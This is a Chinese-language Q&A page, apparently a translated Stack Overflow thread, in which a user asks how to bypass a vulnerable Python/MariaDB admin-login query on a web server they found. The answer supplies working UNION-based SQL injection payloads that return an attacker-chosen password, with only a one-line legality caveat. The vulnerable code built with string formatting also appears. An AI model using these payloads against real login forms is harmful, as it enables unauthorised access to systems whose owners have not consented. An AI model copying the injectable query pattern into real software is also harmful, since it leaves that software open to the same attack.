sql - 如何利用我在此 Web 服务器上发现的这个易受攻击的 SQL 语句
问题描述
我刚刚遇到了一个非常简单但相当复杂的 SQL 查询,它在验证 MariaDB 中的用户名时执行。该声明有两个逃脱字符,我似乎无法解决这个问题。我一直在尝试不同的有效载荷,但它们似乎都不起作用。在无效语句上,它返回一个回溯调用错误,通知该错误。
我已经尝试过 1' 或 '1'='1 和这个的 0 版本
python
if cur.execute('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')) == 0:
我想找到一种绕过此验证语句并授予我访问权限的方法。
解决方案
请记住,在您不拥有/没有所有者同意的网站上进行此类做法是非法的。
尝试使用和联合,输入:
' and 1=2 UNION SELECT 'anypass' --
如果我正确理解您的问题,将产生以下查询:
SELECT password FROM admins WHERE username='' and 1=2 UNION SELECT 'anypass' --
联合运算符需要相同数量的列,如果您收到该类型的错误,请尝试以下操作:
' and 1=2 UNION SELECT 'anypass', null --
添加空列,直到不再出现错误。
然后您只需在密码字段中输入“anypass”。
推荐阅读
- python - Keras 的稀疏分类交叉熵形状问题
- python-3.x - 从链表元素中删除元素时出现属性错误
- c# - 在更改的架构上恢复代码首次迁移
- python - 在 Python 中使用什么方法来返回对象的属性?
- javascript - 是否可以在从另一个 js 文件导入的 js 脚本中应用内容安全随机数?
- apache-spark - 如何在 databricks 集群上有效地运行非火花模型训练任务(使用 fasttext)?
- d3.js - 可缩放图表 | 缩放时的范围问题
- html - 角表过滤器清除组
- powershell - 从 powershell 下载文件时,Invoke-WebRequest 进度变得无响应/暂停
- python-3.x - 使用已导入的模块/模块运行 python 脚本